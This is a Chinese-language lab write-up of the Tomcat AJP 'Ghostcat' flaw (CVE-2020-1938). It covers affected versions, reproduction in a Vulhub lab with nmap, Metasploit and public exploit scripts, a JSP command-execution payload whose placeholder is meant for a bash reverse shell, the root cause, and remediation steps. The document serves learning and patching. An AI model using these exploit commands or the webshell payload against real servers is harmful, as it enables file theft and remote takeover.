跳转至

CVE-2020-1938(Tomcat AJP漏洞)

漏洞描述

Tomcat在server.xml中配置有HTTP连接器和AJP连接器,AJP连接器可以通过AJP协议与另一个web容器进行交互。AJP协议是定向包协议,其使用端口为8009端口,为提高性能,AJP协议采用二进制形势代替文本形势。

在2020年2月20日,CNVD发布了漏洞公告。该漏洞是Tomcat AJP协议存在缺陷而导致,攻击者可以通过构造特定的参数,读取tomcat的webapps/ROOT目录下的任意文件。同时,若该服务器存在文件上传功能,攻击者还可以进一步实现远程代码执行。

影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

漏洞存在验证

Bash
sudo nmap -sS -p- --min-rate 10000 192.168.40.129

看到AJP开放

可以看到Tomcat版本为9.0.30,符合漏洞利用范围

MSF复现

Bash
search cve:2020-1938

尝试读取ROOT目录下其他文件,也成功

脚本/工具复现

脚本参考:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/

Bash
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.40.129 -p 8009 -f WEB-INF/web.xml

RCE复现

Important

能实现RCE的前提是需要服务器有文件上传点且需要知道上传路径(ROOT下)

脚本参考:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

Bash在线编码:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

Java Server Page
# 以下为上传的恶意payload,命名为txt文件
<%
    java.io.InputStream in = Runtime.getRuntime().exec({PAYLOAD}).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>
# {PAYLOAD}填入编码后的Bash反弹命令
# 反弹shell用的命令需要进行bash编码
Bash
docker cp test.txt 0996682677aa:/usr/local/tomcat/webapps/ROOT/test.txt
# 模拟上传文件到web服务器
Bash
python2 Tomcat-ROOT路径下文件包含\(CVE-2020-1938\).py 192.168.40.129 -p 8009 -f /test.txt

可以看到成功反弹shell

漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel

Tomcat web.xml中的默认Servlet

我们通过翻阅网上关于Tomcat的架构的一些文章和资料得知,在Tomcat $CATALINA_BASE/conf/web.xml这个配置文件中默认定义了两个Servlet

  • DefaultServlet

image-20200304234200783.png

  • JspServlet

image-20200304234233151.png

由于 $CATALINA_BASE/conf/web.xml这个文件是tomcat启动时默认加载的,所以这两个Servlet会默认存在Servlet容器中

当我们请求的URI不能和任何Servlet匹配时,就会默认由 DefaultServlet来处理,DefaultServlet主要用于处理静态资源,如HTML、图片、CSS、JS文件等,而且为了提升服务器性能,Tomcat对访问文件进行缓存。按照默认配置,客户端请求路径与资源的物理路径是一致的。

我们看到我们请求的URI为“/asdf”这就符合了无法匹配后台任何的Servlet这么一个条件,这里要注意一下,举个例子,譬如我们请求一个“abc.jsp” 但是后台没有“abc.jsp” 这种不属于无法匹配任何Servlet,因为.jsp的请求会默认走JspServlet来进行处理

image-20200304234938686.png

具体代码分析参考:

https://www.freebuf.com/articles/web/356592.html

https://bbs.huaweicloud.com/blogs/395802

修复建议

Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复

要正确修复此漏洞,首先需要确定您的服务器环境中是否有用到 Tomcat AJP 协议:

  • 如果未使用集群或反向代理,则基本上可以确定没有用到 AJP;
  • 如果使用了集群或反向代理,则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信

如果未使用 Tomcat AJP 协议:

如果确定未使用 Tomcat AJP 协议,则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。

而对于确定未使用 Tomcat AJP 协议,但无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost。

具体步骤:

(1)编辑 /conf/server.xml,找到如下行( 为 Tomcat 的工作目录):

XML
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

(2)将此行注释掉(或直接删掉此行):

XML
<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->

(3)更改完毕后,重启 Tomcat 即可。

除以上措施外,当然也可以采用防火墙等办法以阻止不可信任的来源访问 Tomcat AJP Connector 端口。

如果使用了 Tomcat AJP 协议:

如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。

例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

XML
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

XML
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考长亭科技:https://www.chaitin.cn/zh/ghostcat